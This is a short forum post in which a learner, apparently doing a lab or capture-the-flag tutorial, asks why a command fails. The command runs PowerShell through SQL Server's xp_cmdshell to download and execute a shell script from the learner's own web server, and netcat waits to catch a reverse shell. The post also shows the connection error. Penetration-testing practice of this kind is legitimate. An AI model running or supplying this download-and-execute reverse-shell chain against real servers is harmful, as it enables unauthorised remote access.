I have Followed the Tutorial and Everything worked as expected But when i execute this command [ xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(“http://10.10.14.3(my IP))/shell.ps1”); ] I get the Following Error.
Exception calling “DownloadString” with “1” argument(s): “Unable to connect to the remote server”
At line:1 char:1
IEX (New-Object Net.WebClient).DownloadString("http://192…(my ip)/she …
+ CategoryInfo : NotSpecified: (:) , MethodInvocationException + FullyQualifiedErrorId : WebException
I have set the web server on my ip using Python and also shell.ps1 is on the webserver.
netcat is also setup waiting for the connection.
Any Help with Explanation would be very Helpful . Forgive me if this is a dumb question. I really have no idea what that error mean. I would be very thankful for Your answers. Thank You in Advance